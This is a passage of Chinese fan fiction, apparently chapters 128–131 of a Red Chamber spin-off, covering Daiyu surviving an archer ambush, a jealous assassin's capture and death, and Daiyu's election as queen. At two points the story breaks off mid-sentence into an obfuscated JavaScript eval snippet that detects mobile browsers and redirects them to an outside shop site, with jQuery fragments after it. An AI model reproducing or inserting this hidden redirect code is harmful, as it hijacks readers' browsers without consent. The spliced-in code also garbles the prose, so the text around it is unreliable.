在惠民医坊,苏美人过了半个月药吊子不离火的日子,扔了数百两银子,他才恢复了意识,一张口就是指摘晴雯施针的时候下手太重,把他扎疼了。 晴雯怒不可遏:“好个不要脸的白眼狼,你白费了我多少好药好汤,若不是咱们姑娘菩萨心肠,谁管你赖死赖活,今儿我若不拿你开刀做法,叫你见识我的厉害,此恨难解。” 她飞针过去就要把他扎成个刺猬,没曾想苏美人发丝微动,兰手拂云一般,将数十枚银针扫到壁上,入墙寸余,钉得齐齐整整一个“林”字。 苏美人见晴雯惊掉了下巴,嫣然媚笑,又撒娇耍痴起来,“不跟你闹了,你叫林姑娘来,我有话说。” 正在晴雯瞠目结舌的当下,忽然听到了他的心声。 “晴雯、紫鹃这些人在想什么,都可以一眼洞穿,偏生林思政此人不动声色,不露喜好,一个小小的里长,却当出了开天辟地的帝王气派。钱权势名一样不缺,若要降服她,酒色游宴未必中用,大抵也只能以情诱之了。” 嗤,就说突然冒出个男狐狸精,整日做张做智的干什么,原来又是一个居心叵测的“王表哥”。 晴雯愤愤摔帘出去,将此事告知了黛玉。 事实上黛玉早有所察,只是按兵不动,她怀疑这个“苏美人”是章德方派来搅局的间谍。 毕竟身处京兆的章里长受困于千人遭屠的命案,若任期不能破案,这政绩就差人一大截了。 “先不用管他,”黛玉心有成算,对晴雯说:“眼下朝廷封印了,药典司的人难免松懈懒怠,我担心昏迷不醒的武圆没人看护,会有危险。你收拾下包袱,我带你去京城,治好武圆。” 晴雯听了这话,不免担心:“姑娘,咱们这一去,苏美人没了辖制,你不怕他搜剔小遗,撒野使坏?” “思政楼无非衣裳文书罢了,钱又不放这里,随人翻去。我心中无私,无事不可对人言。” 黛玉不以为意地说,又瞥了枕边的信匣子一眼,“就算他偷窥了琴谱密信,一时半会儿也解不开,就算解开了,也不过儿女情长酸言涩语,没什么要紧的。更何况在茜香国男女情爱自由,无可避忌,塞十个春香袋进来,只闭眼把臊都丢了,也无妨碍。” “那万一他拿走了姑娘辛苦撰写的《牧兵治寇策疏》、《御边条议》、《外务谏议书》怎么办?” 晴雯虽笃志学医,但近来受黛玉耳濡目染,也知道这些策论的分量不轻。 随便一篇拿到朝堂上去,就算换不来官禄,也能名传百世了,再不济刊刻成集,靠润笔费也能大赚一笔。 “咱们晴太医越发小气了,几篇文字罢了,也值得提在心上。” 黛玉伸指在她额上一点,笑道:“兵者无不读六韬三略,古往今来也没几个常胜将军。医者无不习灵枢素问,你告诉我妙手回春的有几人?王者无不攻牧鉴尚书,又有多少帝子坐稳了江山。” “策论文章下笔千言,真正要施行天下,措置有方难之又难。若窃文章者,能依此惠民利国,不也善莫大焉,功成不必记我。毕竟我之禀赋依鸿蒙润养而来,亦不可贪天之功,以为己力。” 晴雯听了这一番无私言论,不由慨然:“好姑娘,你可愈发仙品神格了,我得时时扯住你的裙子,防止你撇下我,自个儿飞上天去。” “才讲些正经道理,你这蹄子就编派上我了,你既招我,我可要撕你的嘴了。”黛玉笑着去拧她的嘴,不巧绊上了脚下的小杌子,跌跌绊绊地要倒。 忽然被人揽住腰身,扶了起来。 只见一身华服鲜衣的苏美人,挑眉魅笑,狐狸眼中夹缠着一丝暧昧的兴味,叫人忍不住心肝一颤。 晴雯本是未开情窍之人,出于本能地挡在黛玉身前,屏蔽住了他居心不良的视线,冷声道:“谁许你上来的,半点规矩都不懂。” 苏美人勾唇笑道:“晴大夫替我传话,迟迟未返,我怕生计无落,就赶着上来了。” “苏公子不满我给你安排的差事,何妨另谋高就。”黛玉掸了掸身上的灰,头也不抬地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221341|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “林姑娘也不必拿耕锄园圃之事搪塞我了。方才我打败了一干愚男蠢女,才上得楼来。 那些空有膀子蛮力的家伙,恐怕无法保护姑娘安全,不如请我做你的贴身扈从。 我虽喜美服、爱珍馐、好音律,但剑术已臻化境,以一敌百不在话下,如此看来我才是‘物美价廉’,值得你拥有的人。” 那人大言不惭地说着,话音刚落,就有几个北戎人跌跌撞撞地爬上楼来,颤手指向苏美人,对黛玉说:“属下拦不住他……” 黛玉悄然揪紧了裙摆,这个苏公子着实不简单,不像是章德方所能掌控的人,他既出自与吴岩有仇的苏家,又颇精剑术,极可能是覆灭吴岩一族的凶手。 尚不知他靠近自己的目的为何,为了稳妥起见,黛玉思忖了一会儿,方气定神闲地说:“也罢,我许你留下来,不过你得先跟着永龄学几天规矩。等我回来再用你。” “带我走!”苏美人向前逼近一步。 黛玉偏头睨着他,一双含露目似笑非笑,仿佛凛冽的冰雪,冻得人销魂蚀骨,冷冷道:“你命令我?” 这股举轻若重地威压感,让倨傲胜慢苏美人不由低下了头,扶膝跪地,改换了言辞,“还请主人允我随行。” “主子跟前,哪里还容得下一个‘我’字。”黛玉嘴角提起一丝讥笑,手搭在楼梯扶手,提裙款步下楼,漫不经心地说:“美人是帝王之妾,不堪为名。做人当端直其心,不为邪恶。所谓‘正本清源’。从今往后,你改名为清源。” “清源谢主子赐名。” 趁着海港还未封冻,黛玉与晴雯荡舟赶赴琉璃岛,先去相府拜会真如密,而后由她引荐带领,进了药典司旗下的外廷医寮,看望武圆。 果然年关将近,疾医都疏于职守,只有武圆的舅舅在一旁看护,给甥女喂糖米粥。 听说从前山林骑兵对阵的胜方首领林思政来看武圆,武家舅舅非但没有感谢之意,反而疑心是她逼死了武圆。 武舅舅摔下碗筷,激动万分地咆哮起来:“又不是什么同窗同僚深情厚谊,你巴巴地来看她死了没有,不是做贼心虚是什么?” 黛玉不辩不恼,立地不动地等他发泄完,面不改色地问真宰相说:“可以让晴太医看诊了吗?” 真宰相点了点头,让晴雯替武圆诊脉,如挺尸一般的武圆,忽然浑身抽搐起来,口吐白沫。 武舅舅见此场景,大惊失色,越发笃信,林思政是带着毒医来害他甥女的,张牙舞爪地就要过来厮打。 “你冷静一下。”真如密出手如电,将躁动的武舅舅制服,沉声道:“是你喂的米粥有问题。” “什么?”武舅舅瞪大了眼睛,只见洒在地上的糖米粥被蚂蚁爬过,那群蚂蚁蜿蜒蠕动了两下,就再也不动了。 晴雯按穴施针,帮武圆催吐出来,好在她吞咽困难,吃的量有限,不至于伤及性命。 三双眼睛都盯在晴雯的手上,只见她依次在武圆的百会穴,四神聪,风府穴,哑门穴,内关穴,水沟穴、涌泉穴上飞针,捏着针柄揉捏弹捻。 待她取下银针,擦针净手后不久,一直昏迷不醒的武圆,缓缓睁开了眼。 武舅舅心头大喜,忙喊了一声:“圆儿,你可醒了!” 恢复痛觉的武圆眉头紧锁,视线模糊,濒临死亡的恐惧感再度复苏,嘶声大叫起来:“大将,不要杀我!” 真如密倒吸一口凉气,看向黛玉,攒眉道:“凶手是她!” 黛玉点点头,指着地上摔破的瓷碗,“只怕还有一个从犯东魁。” 真如密警惕地环视四周,立刻派人封锁医寮,全力缉凶。 129.吾皇黛玉第一百二十九回 苏清源舍身诉衷肠,林黛玉重逢皇太子 经过一番周密部署,真如密当即擒获了潜伏在医寮施毒的东魁。 武圆毁容坠崖一案至此告破,从犯东魁,以杀人未遂之罪,羁押在京城大牢中,剥夺竞选国王的资格,徒刑两年,罚银三千两,用以补偿受害人。 然而此案主谋章德方,因精通卜算预知事变,已经潜逃出境,杳然无踪。 黛玉、晴雯受邀在真宰相府上小住了几日,直到腊月初八才启程返回苍梧乡。 滞留在思政楼的苏美人,不,苏清源,早按捺不住好奇的心,将黛玉的书房闺阁细翻了不下数十遍。 她留下的文字亦如其人,坦然正直,智慧卓然,温柔又坚韧,慈悲又理性。 “好一个有求皆苦,无欲则刚。”苏清源伸指拂过文稿上的片言,怨不得自己在最初的交锋中渐落下风。 只因他有所求,而她无所欲。 妆奁中素钗雅簪,简净至极,唯有一枚珐琅珍珠怀表华贵不凡,打开一看是藤缠树的表盘。苏清源眸色黯然,回望那枕畔一匣子曲调吊诡的琴谱,凉意漫上心头。 她已经心有所属了么? 他好像来迟了…… 为了在父皇数十位儿子中,继承至高的权力地位,他的兄弟们从小就相互倾轧,明争暗斗。 而他这个漂亮的老幺儿,任人欺凌的小可怜,为了自保只得远离皇权,潜藏在满剌加国苦修剑术。渐渐学会了在腥风血雨中掠夺财富,培植势力,他发现比起明刀明枪的武力占领,欺诈贸易、奴役盘剥更为隐蔽。 茜香国女子众多,只要以情爱之名,教她们如何柔颜媚悦男子,换取宠幸与爱怜,再花一点金银,甚至三两句甜言蜜语,就能轻松箝络,将她们豢养在方寸宅院中,雌伏在四角天空下。 稍有违抗,再施以疾言厉色,漠视不理,那些女子们就会胆怯哀求,任男子予取予求。 他就这样一步步将苍梧乡,蚕食鲸吞,变成了自己实际羁縻之地,用源源不断的煤炭、木材为自己赚得了真金白银,用茜香国女子姣好的身姿,为自己笼络朝臣,铺就帝王路。 这种躺在他人身上吸血的畅快经历,让他的物欲空前膨胀,从一个衣食不周的贫穷贵公子,成为了名副其实的天潢贵胄。 偏偏来了一个林思政,窥破了他的辖制手段,一力粉碎了他的美梦,他的财富,他的势力,全都土崩瓦解,化作泡影。 他要亲手报复回去,却在见到她的第一眼,就怦然心动了…… 好似在大雪中烧糊了脑袋,竟生出要缴绕她一辈子的想头。 苏清源唇接玉萧,按谱吹起怪异的曲子,百无聊赖地看向窗外迷蒙的苍穹,怪怨那不守信的林思政,怎么还不回来。 一直盘旋在思政楼上空的几只游隼,忽而长唳,振翅俯冲下来。 苏清源的表情瞬间微妙起来,一掌拍在窗台,从二楼一跃而下,箭似的疾奔而去。 白茫茫的海岸上无所遮屏,木栈桥上寒鸦孤立,一片冷寂萧索。 弃舟登岸的两个姑娘,踏进了百人的包围圈,如蝗箭雨向她们身上扑来。 黛玉掀起斗篷,护着晴雯左右闪避,她手里的追诛虽快,却挡不住密不透风的箭雨。 谁人要她丧命于万箭穿心之下!? 是羁縻苍梧乡的幕后金主?还是不甘逃亡的章德方? 此地距离明威将军的驻地甚远,风雪又大,就算用洪音贝壳呼救,也传达不到。 黛玉试图用追诛点燃烽燧,奈何雪水早将烽薪给浸湿了,根本燃不起来。 她只得与晴雯不停跑动,躲避一波又一波的箭袭,可是人的力气终究有限,很快她们就筋疲力尽了,包围圈越来越小。 箭雨过后,那些黑衣人齐刷刷亮出明晃晃的刀刃。 追诛弹匣已空,晴雯喘得可怜:“姑娘,我们、逃不出去了……” 黛玉望向漫天大雪中的黑影,回想起从前在淮阴遇上响马,禛钰腾身上马,将弹弓抛给她说:“小冤家,我不教你死,你就死不得!” 雪刃直逼眼前,黛玉禁不住战栗颤抖,退无可退之时,死亡的恐惧攀升上来。 她眼眶发红,绝望地失声大喊:“表哥,救我!” 她眷恋着表哥,思念着故国,还不想死在异域他乡。 回应她的是一群扑翅袭来的游隼,它们展开壮硕的翅膀,扇倒一片黑衣人,勾起雄奇的利爪,尖硬的铁喙,撕扯、啄剥着坏人的皮肉。 黛玉得到了片刻喘息,紧握着晴雯的手,尝试在游隼的协助下,争取突围出去。 忽然,风雪骤盛,一抹艳色挟着凌厉的万钧之势,飒沓而来。 恍惚间,丝丝微响,天降红雨,血雾漫然,暖得人心惊胆颤。 来人是菩萨,还是天魔? 黛玉看不清那人的容貌,亦不见他手中的剑,只如旋风一样来去无影,没有多余的动作,黑衣人偃卧一片又一片,好似被轻易割倒的麦苗,齐齐整整。 只听铮然一响,血雾弥散开来,露出一张妖娆绝艳的脸。 苏清源扬眉一笑,向黛玉伸出手来:“主人,清源接你回家。” 突遭横祸,黛玉死里逃生,一时神思惝恍,鬼使神差地将手交给了他。 苏清源勾唇一笑,自然不会放过得寸进尺的机会,偏头在她散落的鬓发上落下一吻。 游隼一声长唳,让黛玉倏忽惊醒过来,甩开了他的手。 就在他们分离的那一瞬,一支劲弩铁箭,直奔黛玉胸口而来。 “姑娘小心!”晴雯尖叫起来,慌忙朝暗箭射来的方向甩出一枚梅花镖。 黛玉被男人扑倒在雪地上,雪花与鲜血一齐在眼前飞溅起来。 “你痛不痛……”黛玉懵了,慌乱的手搂着浑身是血的少年,不知该说些什么,做些什么,平生第一次这般手足无措。 痛,一箭穿胸怎么不痛。 苏清源想要笑一笑,所有人都说他笑起来美艳绝伦,动人心弦。 可他眼睛睁不开,唇齿也不听使唤。 好在晴雯随身带着银针,当机立断飞针给他护住了心脉。 胸口的凉意渐渐回暖,苏清源缓缓睁开了眼睛,牵动嘴角柔柔地笑了起来,还来得及表明心意,真好。 他凝视着林思政的眼眸,用和语曼声吟道:“曾在宵梦里,痴解仙姝衣。相识犹恨晚,生死苦痴缠。” “这是和歌?” 暧昧情热的词意,让黛玉不禁赧颜。 她果然听得懂。 狐狸眼中滑落一颗泪珠,语意凄凉地哀叹:“雪化了明年还会下,我化了就没有了,你会为我流泪么……” 黛玉默然摇头,她的眼泪被人夺走,再也不会流泪了。 苏清源失落地闭上眼,不舍的情愫不断翻涌。他有千言万语要说,可一滴或怜悯或感激的眼泪都换不来,又有何意义。 情深缘浅莫过于此了。林思政,我与你相遇不是意外,爱上你才是。我也是为你奋不顾身的那一刻,才知道。 当夜,晴雯与苏合香忙了一晚上,血水一盆盆往外倒,苏清源胸口的铁箭被拔了出来,勉强保住了性命。 只是他人何时苏醒,还是个未知数,只能用名贵药材,辅之以晴雯的针灸术,让他得以在惠民医坊安养吊命。 转眼到了除夕,惠民医坊没有其他病人了,苏清源还没有醒来的迹象。 黛玉见苏合香为照顾弟弟疲累至极,劝她去休息,自己看护他守岁。 苏合香实在撑不住,只得点头离开。紫鹃、晴雯两个陪在黛玉身边,共同守着苏清源。 酉初时刻,紫鹃就去厨房筹备年夜饭去了。晴雯才到离间给苏清源施了一回针,就听到门外传来一阵敲门声。 莫非有人得了急症?晴雯忙提灯去开门,只见身材颀长的章明立在檐下,默然朝她一揖。 当看到一身玄色斗篷的太子,晴 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而他还要趁夜,通过危机四伏的海上封锁线,再全力奔赴北疆战场。 “你真是疯了……” “我早为你疯了……” 两人在屋中缠抱拥吻,彼此心无着落,这里貌似少了什么。 原是矮板榻被搬到了里间,上面还躺着金针吊命的苏美人。 禛钰看向那张楠木桌案。 那是晴大夫素日诊脉的地方,黛玉肃然起敬,坚决摇头。 禛钰又努嘴向井然有序的药柜,黛玉更不敢亵渎。 “我站着顶你起来。” “……” 彼时藤缠树,此时树缠藤。 “册封你为茜香国国王的诏书,我已经带来了。只要你愿意,明天你就是茜香国的女王。” 黛玉环在他脖颈的手,不由一顿,喃喃道:“我想继续走竞选之路,不管公不公平,我都想自己闯一闯。” 所谓藤萝系甲,可春可秋。 当春天万物生发,花草欣欣向荣,可以吸收雨露,坚韧自立。 当秋天风霜来袭,花草柔弱易摧,大树就为她遮风挡雨,供她攀缘向上。 黛玉如何不知,禛钰是能为自己遮风挡雨的大树,可一旦过于依赖,他也会不经意间,遮蔽她向上的天空。 她不可以贪恋这样的温柔,不可以沉迷如此的痴爱。她也要努力长成一颗顶天立地的树,与他并肩一起,连理缠枝。 禛钰如何不知她的倔强与坚持,目光灼灼地望着她说:“你想继续竞选也好,我担心一旦鞑靼铁蹄南下,真真国极可能趁机在西海沿子一带作乱,茜香国首当其冲,难免遭殃,竞选可能被迫中断。若遇战时,柳新带来的五万人马交由你全权节度,待一切尘埃落定,你也是实至名归的王。” 黛玉瞬间清醒了几分,低头见他眼眸泛出了泪光。 “什么时辰了?” 怕他萦情相思,如痴如醉的问语中,带着别离在即的哀伤。 禛钰身形一顿,潸然泪下,“窗外的烟花会燃到中宵,表妹你别看我,看烟花罢。” 襟怀中男人温热的泪,缠绵不绝。 黛玉不忍相顾,只得回首去看海边转瞬即逝的烟花。 一簇簇烟花带着美妙的哨音,瞬间攀升到顶峰,像喷薄的铁水洒在天幕,五彩的花珠迸射出来,绽放出朵朵炫丽的花火。 点点滴滴的流火徐徐下落,烟花明明灭灭间,海浪潮起潮落中,带走了旧年的余光。 苏清源在一阵烟花声中醒来了,闪动的光影浮在他俊美无俦的脸庞上。 他迷蒙的眼,看到明瓦纸隔断的门上,合二为一的身影,随着烟花斑斓的光,忽隐忽现,起起伏伏。 噼啪作响的声音,掩不住鱼水相欢的缠绵,他咬破了嘴唇,恨不能再死一回。 130.吾皇黛玉第一百三十回 持玉笏思政登朝堂,颁诏书凤仪戴王冠 当最后一束烟花蓬勃怒放之时,屋内亮如白昼,趁黛玉发现端倪之前,禛钰腾出一只手来,捂住了她的眼睛。 扬起脖子,用炙热的吻掩盖他的心虚与惶恐。 缠在腰间的软藤,柔柔地滑落下来,禛钰将沉睡的姑娘抱起,推门出去。 眼见晴雯跌跌撞撞地往回赶,章明在后面提着灯紧追。 禛钰站在院墙外,俯身再次吻了黛玉的唇,将她交到晴雯手上,“晴太医,请你送她回房休息,孤这就走了。” 风中摇曳的灯笼,映照出白发如银的太子,晴雯一脸愕然,嗫嚅着唇欲言又止,却听他轻叹了口气。 “别告诉她,没事的……”禛钰转头拍了拍章明的肩,“送她们回去吧。” 鼠患蝗灾本是天罚之刑,非人力可挽。若要保天下三年仓满廪实,民无饥馁,唯有他主动承负这欺天罔地、凡心如炽之责,拿三千青丝来换。 法术只能障人一时之目,至少在他还泪结束以前,无计奈何。 晴雯抱着黛玉,满腹心事地离开,章明提着灯默默相随。 禛钰目送他们的背影消失在晦暗的夜里,飒然转身,推开医坊的院门,走进诊室里间。 吱呀一声门开了,朔风袭来。 黯然落泪的苏清源觉察到危险的临近,仓促闭眼,屏息以待。 一片黑暗中,禛钰坐在了少年对面,慢慢捻着小指上的金刚石尾戒,抬头道:“苏陵游蹈海而亡,尸身就埋在满剌加,你根本就不是苏氏的儿子。陵游草又名龙胆,你身上的刺青是扶桑国源家的龙胆家纹。你爹风流成性,蕃息孽多,国库养不活那么多儿子,就赐庶子‘源’姓降为臣籍,人称清和源氏。她叫你清源,足见已知你的来历了。” 苏清源在枕上暗暗咬牙,睁开眼愤愤道:“那又如何,她允许我留在她身边,这就够了。” “想留在她身边也不是不可以,”禛钰走过来,伸手捏起苏清源的下巴,动作粗暴地将一颗药丸塞进他嘴里,“那就老实做个太监罢。” 苏清源喉结下滑,将那东西生咽了下去,内心一阵慌乱,颤齿道:“你给我吃了什么?” “迟春丸罢了,在你元服之前,一旦对她起心动念就会绵软无力。”无人窥见的暗夜里,禛钰幽深冰冷的眼眸,淬出一道狠厉的精芒。 还好不是断子绝孙丸,苏清源松了一口气,纤长的睫毛忽闪忽闪,冷笑道:“你的意思是,千日后,我就可以好好‘爱’她了……” “若不是你救了她……”禛钰岂能容他放肆,冰凉的白刃,瞬间划破少年纤细的脖子,与颈动脉仅有毫厘之距。 匕首入鞘,对着苏清源说:“只要抬头有天的地方,我的心耳神意就守护着她。我劝你不要痴心妄想,否则你活不到元服。” 禛钰跨出门去,檐下的灯笼漫出橘黄的光,照见章明晦暗的面容,问他:“晴太医答应嫁你了吗?” 章明苦笑,默然摇头,主子恩赐的唯一机会,如烟花一般稍纵即逝了,什么都没留下。 “竟不中用,烟花白放了。”禛钰长叹一声,拾阶而下,主仆二人挑起灯笼,沉默地走向海边的小舟。 登舟之时,禛钰系好兜帽,伸手拦住了正要解缆绳的章明,“我再给你三天时间,留在这里查出刺客的来历及幕后主谋。” 船头的玻璃灯,映着禛钰冷峻的容颜,他指向章明的心口,深邃的瞳孔中厉色闪现,沉声道:“杀了她。” 章明眸光一凛,点头称是。 禛钰坐在舟中,双手把在船桨上,“只要你心诚,老天会给你些许褒奖。” 缆绳松开,一叶扁舟浮在海上,缓缓荡远。 苍梧乡冬季极冷,百具刺客的尸体保存完好,只是朝廷封印,管辖砗磲岛的州牧,迟迟没有受理此案。 章明根据刺客黄发高鼻的形貌特征,所使用的弓箭兵刃,判断出这些刺客来自真真国王廷的扈从。 很可能是真真国王,为前次林思政设计炸毁其国两艘舰船,而向她实施的报复行动。然而幕后主谋若是一国之主,以他一人之力实在难以除掉。 黛玉向他提供了新的线索,推测道:“我想最后放冷箭的那个才是主谋。晴雯的梅花镖打出去,那人就没再攻击,应该受了伤。我在思政楼、惠民医坊两处一直没加强防卫,只把部曲大部分安排在海岸港口,巡查守边,防止凶手潜逃。如果国主派人越境杀人,岂会将全部兵力一次输出,而不留后手?” “姑娘是想废弛关防,引蛇出洞?”章明皱眉道。 “正是,凶手熬了二十天,依旧按兵不动,等的就是新年。他一定还在附近窥视,我不能坐以待毙。” 黛玉将守在思政楼的北戎部曲,全都放回田庄休息,让苏合香带着刚刚恢复意识的苏清源,也去田庄修养。 安排紫鹃、晴雯在惠民医坊值班,自己和永龄在思政楼守株待兔。 初二晚上,雪晴天寒,黛玉打发了永龄,自己早早卧床休息。 夤夜时分,一道黑影窜上了楼梯。 那人摸到卧室,掀开帘帐,高举匕首,朝着被中拱起的身形,猛刺下去,一连几刀,刀刀深入,很快血染被衾,满手粘稠。 眼见得手,那人快意地仰头笑了起来。 露出脖子的那一刻,从天而降的套绳,圈在了他的脖子上,骤然勒紧,手中的匕首也被梅花镖打掉。 仓皇不安的视线中,倏忽涌进来几道光,伸手挡在眼前,眼神乱飘,试图找逃生之路。 不经意间与一双熟悉的眼眸对视了。 “阿静,竟然是你!”章明手挽套绳,怔在当下。 “哥!”章静错愕的眼眸中,瞬间燃起希望的光,她得救了。 无论做了什么,亲哥是不会杀她的! 永龄举着烛台,引着黛玉从幔帐后转出来, 章静见到安然无恙的她,目眦欲裂,猛地回头掀开被衾,一头黑猪横躺在血泊中。 狰狞的猪头笑容诡异,吓得她尖声叫起来。 黛玉淡淡扫了她一眼,从归仁山断裂的绳索,到苍梧乡的百人围猎,无不是她的手笔。 如果她没猜错的话,章静是为了禛钰,心生嫉恨,才屡次向她下手。 黛玉也知这世上妒病无方可医,端看能不能想开放下了。既然禛钰留章明来处理事情,她就不必插手了。 “永龄,咱俩把年猪收拾一下,明儿送田庄上去。” 被“情敌”无视得彻底,还被当作屠夫耍弄,章静一双瞳孔瞪得极大,浑身抖得厉害,这是何等的奇耻大辱。 “林……”翻滚于胸的愤怒使她声嘶力竭地喊起来,只是才冒出一个字,锁在咽喉的套绳,就扼杀了余音。 “跟我来!”章明扣住章静的肩胛骨,将人拖出门外。 无星无月的夜幕下,只有灯塔的光照在波涛翻滚的海面上,怒浪拍打着沙滩,激起层层白色的雪沫。 章明一手控住长长的套索,一手扬起手肘上的劲弩,对准章静的咽喉。 “杀了她!” 这是主人的命令。 章静双眼蓄满泪水,望着铁面无情的兄长,一张脸上写满了惊吓、凄惶、恐惧,她不断地向后退步,却被套索咽喉,退无可退。 她只得彷徨地左右徘徊,踏着湿润的沙地,拼命摇头:“哥,我是阿静,求你饶我这一次,别杀我,我可是你亲妹妹呀……” “阿静,你还不醒悟吗?是他要杀了你!” 是你爱而不得的男人要杀了你。 所以,才让他留下来,亲手结果自己的妹妹。 章静眼泪哗然而下,水光中涌现出层层叠叠哀怨,她不甘心地疯叫:“我是章家灵力最高的相师,我将来会母仪天下,你不能杀我,你也杀不死我。” 章明松开了绳索,对她的叫嚣置若罔闻,左手托起右腕,摁响劲弩的机括,再一次瞄准她的心口。 “哥,从前你背着我上山扑蝶,陪我骑马射鹿,教我下河捉鱼,哥你都不记得了吗?你不要阿静了吗?”章静泪流满面,声音怯弱下去。 两人对峙了许久,章静突然脸色骤变,望向章明的身后,惊呼:“殿下!” 章明耸然回头,空无一人。 章静转身逃命,章明失望地闭了闭眼,对着她的后心射出一箭。 “为什么?”章静喃喃一声,扑倒在海水中。 潮水将她推到岸前,复又卷入狂澜之中,潮来潮去,再也不见…… 泪水从章明的眼中滚落下来,僵举的手臂颓然滑落,直直地插进了寒沙中。 阿静,你上山扑蝶是为偶遇太子,骑马射鹿是为了让我救下公主,好为你入宫铺路。下河捉鱼是为了落水湿衣,想让太子出手救你。 你眼里只有太子,没有我这个哥哥…… 章明在海边跪了一夜,直到曙光穿透了薄云,柔和的光线让凄怆的天空多了一丝暖意。 混沌的视线里,忽然涌进来一道天光。 “章明,你没事吧?”晴雯习惯性地抓住他的手腕,探了探脉,凝神道:“跳太快了。” 跳得快的何止是脉搏,还有狂浪的心跳,在胸腔中砰砰作响。 晴姑娘,我妹妹是刺杀林姑娘的凶手,我为了你敬爱的林姑娘,遵循主人的命令,亲手杀了我的妹妹。与我血脉相连的妹妹死在了我手上,我也不知该恨谁怨谁?这满心悲伤又如何填补? 晴雯听到他的心声,睫毛发颤,她也不知道该庆幸,还是难过,心中百感交集。 既然两日就解决了案子,章明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13250221|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不想多留在这个伤心地,准备沐浴一番,就启程去追太子北上的舰船。 晴雯准备净手更衣,去药房配药,才发现章明在房中沐浴,惊讶伸舌,扭身就跑。 章明才出浴桶,“啪”地一声将晴雯眼前的门阖上了。 晴雯一愣,凤眼圆瞪,她又不是故意乱闯,为何生出一副要吃人的样子! “章明,你要干……” 炙热的吻回答了她想问的话,男人将她抵在了门后,捧着她的脸,密密匝匝地吻起来。 如果老天要给他褒奖,一定就是她了…… 初五日的黄昏,顶着一脸抓痕的章明,在微澜岛,登上了太子的舰船,向他复命。 “章静已经中箭落海,被卷到海底去了。” “没有补刀是吗?” 讥诮的笑声落在章明耳畔。 禛钰双手撑在船舷上,望向远方的波涛,“如果她死了,还能投胎转世,重新做人。可她没死,就只能继续在嗔恨与怨毒的腐蚀下,成为真真国一代妖后,造业无数,永堕地狱。” 惊闻此言,章明低下头,愧疚、悔恨在心中交织翻涌,痛不可言。 禛钰背对着他,语气凉凉地说:“章驸马,以后对华光好一点吧,至少她不会踢你下床。” 一句揶揄,划破了主仆之间最后一点信任。 原来老天给他的不是褒奖,而是考验。 愚蠢如他,在爱与痛的边缘,输得一败涂地,万劫不复。 一夕之间,失去了主人、爱人、亲人,成为不配拥有情感的行尸走肉…… 正月十九朝廷开印,苍梧乡真真国行刺案告破,凶手伏诛,主谋亡海。 苍梧乡里长林思政因督稽有方,政绩卓然,远迈同侪,擢升为盐浦县知事。 与此同时,北疆鞑靼人南下,侵略中原。 黛玉考虑到真真国无利不起早,在战况未明之时,不会贸然袭扰东南。 她还有一定时间,可以有效地应对当前茜香国面临的各类问题和挑战。 盐浦县经济相对发达,但是民风彪悍,诉讼成风,那些稍解文字的讼棍,精钻律法空隙,民受其殃,有冤难诉。 黛玉一方面恩威并施扬清激浊,一方面借助晴雯的窥心之能,断事公允,稽查无隐。 半月间就将当地十年积案全部厘清,平冤解事,治狱惩盗卓有成效。 自此,盐浦谄辩之风偃止。 二月十二日,黛玉十七岁生日,真如密送了她一对古董花瓶做贺礼。 黛玉得知这花瓶,正是从前她在街头百问百答时,遇到的老妇人送的传家宝。 她不由好奇,细致观详了片刻,发现古董瓶上的山水图画,其实是一副藏宝图地图。 经过实地堪舆,林知事在盐浦县探了一处银矿,填补了茜香国缺少金银矿脉的空白,盐浦银矿年产量预计九百万两。 为防止敌国争夺矿山,黛玉安排柳新带领中原驻军大部,拱卫在矿山附近。 林思政发现了银矿,大大充实了国库,使茜香国的岁入直接翻了十倍。 又因她姿仪高华,德容兼备,以其博究堪舆术数,精通四夷语之能。 经百司廷议,让她跳过了州牧之职,破格提拔为大宗伯,位列九卿。 林思政成为大宗伯后,第一件事就是征召秘使,出访海西国、佛朗机国,找寻蒸汽动力机床及佛朗机炮的制作图纸。 原本以为鲜有人应征,没曾想张榜三日后,就有不少姑娘报名应选了。 取得考试头名的姑娘名叫许梦龙,就是那个被母亲抱怨整日不着家,求卜相寻的姑娘。 黛玉与许梦龙恳切地深谈了一番,发现她不但熟悉各国语言,心胸开阔,而且身强力壮,坚韧不拔,处变灵活,具备一个使臣的优秀品质。而且少年时,许梦龙还曾随舅舅的商队到过海西国,行旅经验丰富。 林思政便以大宗伯之名,为考核合格的五十人密使,签发了通关文牒,送她们远赴西洋,求取先进的技术。 三月初三,真真国国王遣丞相为使,欲与茜香国一道,会盟诸海国主。 以“尊王攘夷”为旗号,在西海发动南征,攻打“百越叛军”,以策应中原太子北伐。 林思政窥察其不轨之心,断然拒绝,当场揭穿其险恶用心,只把真真国丞相斥为“饵禄蠢鱼,贪名猥士”。 真真国丞相汗颜无地,逃席而去,人哄传为笑谈。 至此,茜香国各大赌场,女王争竞榜上,只余林思政一人之名。数千庄家只得散财收官,不复开盘,竞赌者无有输赢。 三月二十三,谷雨日,茜香国普降甘露。 林思政全票赢得国王竞选,宗主国册封诏书同时颁布,成为新一任茜香国女王,戴上了传承数百年的华贵王冠。 131.吾皇黛玉第一百三十一回 林思政警言斥情僧,苏教头臆想怀痴梦 茜香国官制分朝堂百司、王室内廷、地方行政三个部分。 五岛十州地方行政由里正、知事、明府、州牧四级统辖管理。 